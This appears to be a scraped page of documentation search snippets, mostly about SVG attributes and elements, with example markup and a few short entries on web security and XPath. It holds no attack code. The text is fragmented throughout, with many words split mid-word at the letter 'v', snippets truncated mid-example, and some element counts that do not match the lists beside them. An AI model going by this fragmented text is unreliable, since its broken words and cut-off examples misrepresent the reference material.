viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple color fill --> <circle cx="50" cy="50" r="40" fill="pink" /> <!-- fill circle with a gradient --> <defs> <radialgradient id="mygradient"> <stop offset="0%" stop-color="pink" /> <stop offset="100%" stop-color="black" /> </radialgradient> </defs> <circle cx="150" cy="50" r="40" fill="url(#mygradi...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfillchrome ?
... web
view android ?
filter - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <filter id="blur"> <fegaussianblur stdde
viation="2" /> </filter> <rect x="10" y="10" width="80" height="80" filter="url(#blur)" /> </svg> usage notes value none | <filter-function-list> default value none animatable yes for a description of the values see the css filter property.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilterchrome ?
... web
view android ?
font-family - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="arial, helvetica, sans-serif">sans serif</text> <text x="100" y="20" font-family="monospace">monospace</text> </svg> usage notes value [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-familychrome ?
... web
view android ?
font-style - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but only has an effect on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-style="normal">normal font style</text> <text x="150" y="20" font-style="italic">italic font style</text> </svg> usage notes value normal | italic | oblique default value normal animatable yes for a description of the values, please refer to the css font-style property.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-stylechrome ?
... web
view android ?
font-weight - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-weight="normal">normal text</text> <text x="100" y="20" font-weight="bold">bold text</text> </svg> usage notes value normal | bold | bolder | lighter | <number> default value normal animatable yes for a description of the values, please refer to the css font-weight property.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-weightchrome ?
... web
view android ?
gradientUnits - SVG: Scalable Vector Graphics
bjectboundingbox default value objectboundingbox animatable yes userspaceonuse this value indicates that the attributes represent values in the coordinate system that results from taking the current user coordinate system in place at the time when the gradient element is referenced (i.e., the user coordinate system for the element referencing the gradient element
via a fill or stroke property) and then applying the transform specified by attribute gradienttransform.
... percentages represent values relative to the current svg
viewport.
...rspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse cx, cy, r, fx, fy, and fr represent values in the coordinate system that results from taking the current user coordinate system in place at the time when the gradient element is referenced (i.e., the user coordinate system for the element referencing the gradient element
via a fill or stroke property) and then applying the transform specified by attribute gradienttransform.
height - SVG: Scalable Vector Graphics
tribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg
viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> feblend for <feblend>, height defines the vertical length for the rendering area of the primitive.
... svg for <svg>, height defines the vertical length for the rendering area of the svg
viewport.
... note: in an html document if both the
viewbox and height attributes are omitted, the svg element will be rendered with a height of 150px value auto | <length> | <percentage> default value auto (treated as 100%) animatable yes note: starting with svg2, height is a geometry property meaning this attribute can also be used as a css property for <svg>.
in2 - SVG: Scalable Vector Graphics
value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of pre
vious filter primitive animatable yes fecomposite for <fecomposite>, in2 defines the second input image to the compositing operation.
... value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of pre
vious filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute.
... value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of pre
vious filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
order - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="emboss1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="3"/> </filter> <filter id="emboss2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#e...
...the values pro
vided must be <integer>s greater than zero.
...if no second number is not pro
vided, it defaults to the first number.
patternContentUnits - SVG: Scalable Vector Graphics
note: that this attribute has no effect if attribute
viewbox is specified on the <pattern> element.
... only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- a pattern tile that content coordinates and values are computed against the current coordinate user space.
...a bounding box could be considered the same as if the content of the <pattern> were bound to a "0 0 1 1"
viewbox for a pattern tile of width and height of 100%.
points - SVG: Scalable Vector Graphics
two elements are using this attribute: <polyline>, and <polygon> html,body,svg { height:100% } <svg
viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon is a closed shape --> <polygon stroke="black" fill="none" transform="translate(100,0)" points="50,0 21,90 98,35 2,35 79,90"/> <!-- it is usualy considered best practices to separate a x and y coordinate with a comma and a group of coordinates by...
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg
viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> </svg> polygon for <polygon>, points defines a list of points, each representing a vertex of the shape to be drawn.
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg
viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'points' in that specification.
rendering-intent - SVG: Scalable Vector Graphics
the different options cause different methods to be used for translating colors to the color gamut of the target rendering de
vice.
...it attempts to maintain relative color values among the pixels as they are mapped to the target de
vice gamut.
... sometimes pixel values that were originally within the target de
vice gamut are changed in order to avoid hue shifts and discontinuities and to preserve as much as possible the overall appearance of the scene.
stroke-miterlimit - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 38 30" xmlns="http://www.w3.org/2000/svg"> <!-- impact of the default miter limit --> <path stroke="black" fill="none" stroke-linejoin="miter" id="p1" d="m1,9 l7 ,-3 l7 ,3 m2,0 l3.5 ,-3 l3.5 ,3 m2,0 l2 ,-3 l2 ,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5 ,-3 l0.5 ,3" /> <!-- impact of the smallest miter limit (1) --> <path stroke...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-miterlimitchrome ?
... web
view android ?
stroke-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 40 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke opacity: 1 --> <circle cx="5" cy="5" r="4" stroke="green" /> <!-- stroke opacity as a number --> <circle cx="15" cy="5" r="4" stroke="green" stroke-opacity="0.7" /> <!-- stroke opacity as a percentage --> <circle cx="25" cy="5" r="4" stroke="green" stroke-opacity="50%" /> <!-- stroke opac...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-opacitychrome ?
... web
view android ?
stroke - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- simple color stroke --> <circle cx="5" cy="5" r="4" fill="none" stroke="green" /> <!-- stroke a circle with a gradient --> <defs> <lineargradient id="mygradient"> <stop offset="0%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </lineargradient> </defs> <circle cx="15" cy="5"...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstrokechrome ?
... web
view android ?
unicode - SVG: Scalable Vector Graphics
if a character is pro
vided, then this glyph corresponds to the given unicode character.
... if multiple characters are pro
vided, then this glyph corresponds to the given sequence of unicode characters.
...if the attribute is not pro
vided for a given <glyph>, then the only way to use this glyph is
via an <altglyph> reference.
vector-effect - SVG: Scalable Vector Graphics
the default rendering beha
viour is used which is to first fill the geometry of a shape with a specified paint, then stroke the outline with a specified paint.
...the resulting
visual effect of this value is that the stroke width is not dependant on the transformations of the element (including non-uniform scaling and shear transformations) and zoom level.
... example example: vector-effect="non-scaling-stroke" <svg
viewbox="0 0 500 240"> <!-- normal --> <path d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> <!-- scaled --> <path transform="translate(100,0)scale(4,1)" d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> <!-- fixed--> <path vector-effect="non-scaling-stroke" transform="translate(300,0)scale(4,1)" d="m10,20l40,100l39,20...
width - SVG: Scalable Vector Graphics
tribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg
viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <!-- with a width of 0 or less, nothing will be rendered --> <rect x="0" y="0" width="0" height="90"/> <rect x="0" y="100" width="60" height="90"/> <rect x="0" y="200" width="100%" height="90"/> </svg> feblend for <feblend>, width defines the horizontal length for the rendering area of the primitive.
... svg for <svg>, width defines the horizontal length for the rendering area of the svg
viewport.
... note: in an html document if both the
viewbox and width attributes are omitted, the svg element will be rendered with a width of 300px value auto | <length> | <percentage> default value auto (treated as 100%) animatable yes note: starting with svg2, width is a geometry property meaning this attribute can also be used as a css property for <svg>.
x1 - SVG: Scalable Vector Graphics
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x1 defines the x coordinate of the starting point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x1 defines the x coordinate of the starting point of the gradient vector used to map the gradient stop values.
... the exact beha
vior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the left bounding limit of the shape it is applied to --> <lineargradient x1="0%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black"...
x2 - SVG: Scalable Vector Graphics
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x2 defines the x coordinate of the ending point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x2 defines the x coordinate of the ending point of the gradient vector used to map the gradient stop values.
... the exact beha
vior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 100% animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the right bounding limit of the shape it is applied to --> <lineargradient x2="100%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="bla...
y1 - SVG: Scalable Vector Graphics
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> line for <line>, y1 defines the y coordinate of the starting point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> lineargradient for <lineargradient>, y1 defines the y coordinate of the starting point of the gradient vector used to map the gradient stop values.
... the exact beha
vior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the top left corner of the bounding box of the shape it is applied to.
y2 - SVG: Scalable Vector Graphics
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> line for <line>, y2 defines the y coordinate of the ending point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, y2 defines the y coordinate of the ending point of the gradient vector used to map the gradient stop values.
... the exact beha
vior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the top right corner of the bounding box of the shape it is applied to.
<cursor> - SVG: Scalable Vector Graphics
the png format is recommended because it supports the ability to define a transparency mask
via an alpha channel.
... if a different image format is used, this format should support the definition of a transparency mask (two options: pro
vide an explicit alpha channel or use a particular pixel color to indicate transparency).
...note that cursors usually contain at least two colors so that the cursor can be
visible over most backgrounds.
<defs> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- some graphical objects to use --> <defs> <circle id="mycircle" cx="0" cy="0" r="5" /> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="20%" stop-color="gold" /> <stop offset="90%" stop-color="red" /> </lineargradient> </defs> <!-...
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>,...
... <text>, <
view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<defs>' in that specification.
<feGaussianBlur> - SVG: Scalable Vector Graphics
the <fegaussianblur> svg filter primitive blurs the input image by the amount specified in stdde
viation, which defines the bell-curve.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in stdde
viation edgemode dom interface this element implements the svgfegaussianblurelement interface.
... example simple example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="blurme"> <fegaussianblur in="sourcegraphic" stdde
viation="5" /> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample drop shadow example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="dropshadow"> <fegaussianblur in="sourcealpha" stdde
viation="3" /> <feoffset dx="2" dy="4" /> <femerge> <femergenode /> <femergenode in="sourcegraphic" /> </femerge> </filter> <circle cx="60" cy="60" r=...
<g> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- using g to inherit presentation attributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextens...
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
... usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <
view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
<image> - SVG: Scalable Vector Graphics
animated gif beha
vior is undefined.
... svg files displayed with <image> are treated as an image: external resources aren't loaded, :
visited styles aren't applied, and they cannot be interactive.
...this specific element and its beha
vior only apply inside svg documents or inline svg.
<linearGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes gradientunits this attribute defines the coordinate system f...
...or attributes x1, x2, y1, y2 value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes gradienttransform this attribute pro
vides additional transformation to the gradient coordinate system.
..., document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<lineargradient>' in that specification.
<radialGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient.
... value type: <length> ; default value: same as cy; animatable: yes gradientunits this attribute defines the coordinate system for attributes x1, x2, y1, y2 value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes gradienttransform this attribute pro
vides additional transformation to the gradient coordinate system.
..., document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<radialgradient>' in that specification.
<textPath> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- to hide the path, it is usually wrapped in a <defs> element --> <!-- <defs> --> <path id="mypath" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <!-- </defs> --> <text> <textpath href="#mypath"> quick brown fox jumps over the lazy dog.
... value type: spacing|spacingandglyphs; default value: spacing; animatable: yes method which method to render indi
vidual glyphs along the path.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
the <title> element pro
vides an accessible, short-text description of any svg container element or graphics element.
...if an element can be described by
visible text, it is recommended to reference that text with an aria-labelledby attribute rather than using the <title> element.
... html,body,svg { height:100% } <svg
viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <title>i'm a circle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (...
<use> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <circle id="mycircle" cx="5" cy="5" r="4" stroke="blue"/> <use href="#mycircle" x="10" fill="blue"/> <use href="#mycircle" x="20" fill="white" stroke="red"/> <!-- stroke="red" will be ignored here, as stroke was already set on mycircle.
... value type: <length> ; default value: 0; animatable: yes note: width, and height have no effect on use elements, unless the element referenced has a
viewbox - i.e.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
Gradients in SVG - SVG: Scalable Vector Graphics
« pre
viousnext » perhaps more exciting than just fills and strokes is the fact that you can also create and apply gradients as either fills or strokes.
..."reflect" causes the gradient to continue on, but reflected in reverse, starting with the color offset at 100% and mo
ving back to the offset at 0%, and then back up again.
... « pre
viousnext » ...
SVG Filters Tutorial - SVG: Scalable Vector Graphics
the amount of blur to be applied is done using the stdde
viation attribute.
... svg filter example <defs> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stdde
viation="3"/> </filter> </defs> <g id="ghost" style="filter: url(#drop-shadow);"/> <!--ghost drawing in here--> </g> this above example will not produced the desired output.
...<femerge> primitive contains the nodes <femergenode> taking as input the result offsetblur , this will allow it to appear below the sourcegraphic implementation of more primitives <defs> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stdde
viation="3" result="blur"/> <feoffset in="blur" dx="4" dy="4" result="offsetblur"/> </filter> <femerge> <femergenode in="offsetblur"/> <femergenode in="sourcegraphic"/> </femerge> </defs> ...
SVG image element - SVG: Scalable Vector Graphics
« pre
viousnext » the svg <image> element allows for raster images to be rendered within an svg object.
... ha
ving a height or width attribute of 0 will disable rendering of the image.
... « pre
viousnext » ...
Insecure passwords - Web security
ser
ving login forms over http is especially dangerous because of the wide variety of attacks that can be used against them to extract a user’s password.
...if a website uses http instead of https, it is tri
vial to steal user information (such as their login credentials).
...users use the same password across multiple sites (news websites, social networks, email pro
viders, banks).
Secure contexts - Web security
the primary goal of secure contexts is to prevent mitm attackers from accessing powerful apis that could further compromise the
victim of an attack.
... some apis on the web are very powerful, gi
ving an attacker the ability to do the following and more: invade a user's privacy.
... if (window.issecurecontext) { // page is a secure context so ser
vice workers are now available na
vigator.ser
viceworker.register("/offline-worker.js").then(function () { ...
Axes - XPath
this axis can be abbre
viated with the at sign (@).
...it can be abbre
viated as two periods (..).
...it can be abbre
viated as a single period (.).
XPath snippets - XPath
this article pro
vides some xpath code snippets—simple examples of how to a few simple utility functions based on standard interfaces from the dom level 3 xpath specification that expose xpath functionality to javascript code.
...otherwise, you have to pro
vide your own implementation of xpathnsresolver.
